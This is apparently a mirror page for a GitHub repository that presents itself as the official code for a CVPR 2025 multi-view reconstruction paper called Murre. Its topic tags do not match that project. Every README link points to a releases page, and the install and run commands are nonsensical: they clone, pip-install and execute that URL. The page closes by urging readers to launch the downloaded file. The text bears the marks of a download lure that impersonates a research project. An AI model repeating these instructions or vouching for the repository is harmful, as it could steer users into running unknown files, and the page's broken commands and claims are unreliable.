https://github.com/cfjhjfddfrf/murre
Code for "Multi-view Reconstruction via SfM-guided Monocular Depth Estimation". CVPR 2025
https://github.com/cfjhjfddfrf/murre
alerts chart cli creative-coding dialect dialect-generation finnish-language github-config haskell livecoding mql5 nlp pivot-point support-and-resistance
Last synced: 4 months ago
JSON representation
Code for "Multi-view Reconstruction via SfM-guided Monocular Depth Estimation". CVPR 2025
- Host: GitHub
- URL: https://github.com/cfjhjfddfrf/murre
- Owner: Cfjhjfddfrf
- Created: 2025-03-21T20:59:37.000Z (10 months ago)
- Default Branch: main
- Last Pushed: 2025-09-28T05:07:00.000Z (4 months ago)
- Last Synced: 2025-09-28T07:09:02.508Z (4 months ago)
- Topics: alerts, chart, cli, creative-coding, dialect, dialect-generation, finnish-language, github-config, haskell, livecoding, mql5, nlp, pivot-point, support-and-resistance
- Size: 6.24 MB
- Stars: 5
- Watchers: 4
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🚀 Murre - Multi-view Reconstruction via SfM-guided Monocular Depth Estimation
Welcome to the official repository for "Murre", the implementation of "Multi-view Reconstruction via SfM-guided Monocular Depth Estimation" as presented at CVPR 2025.
## Table of Contents
- [Introduction](#introduction)
- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
## Introduction
Murre is a cutting-edge project focusing on multi-view reconstruction through SfM-guided monocular depth estimation. This repository serves as the implementation base for the techniques described in the CVPR 2025 paper on this topic.
## Features
- **SfM-guided Monocular Depth Estimation**: The core of the project revolves around the innovative approach of using SfM to guide monocular depth estimation for multi-view reconstruction.
- **CVPR 2025 Implementation**: The code provided here corresponds directly to the methods detailed in the CVPR 2025 paper, ensuring reproducibility and accuracy.
- **Efficient Reconstruction**: Murre offers efficient and effective reconstruction capabilities, enabling high-quality results in challenging scenarios.
## Installation
To get started with Murre, follow these steps:
1. Clone the repository:
```sh
git clone https://github.com/Cfjhjfddfrf/Murre/releases
```
2. Install the necessary dependencies:
```sh
pip install -r https://github.com/Cfjhjfddfrf/Murre/releases
```
## Usage
1. Navigate into the project directory:
```sh
cd Murre
```
2. Run the main script with your data:
```sh
python https://github.com/Cfjhjfddfrf/Murre/releases --data your_data_folder
```
For more detailed instructions and parameters, refer to the documentation provided within the repository.
## Contributing
We welcome contributions to Murre! If you'd like to enhance the project, feel free to fork the repository and submit pull requests with your changes.
## License
The code in this repository is licensed under the MIT License. See the [LICENSE](https://github.com/Cfjhjfddfrf/Murre/releases) file for more details.
[](https://github.com/Cfjhjfddfrf/Murre/releases)
If the link provided above does not work or if you need to launch the downloaded file, please check the "Releases" section of this repository for alternative download options.
🌟 Happy reconstructing with Murre! 🌟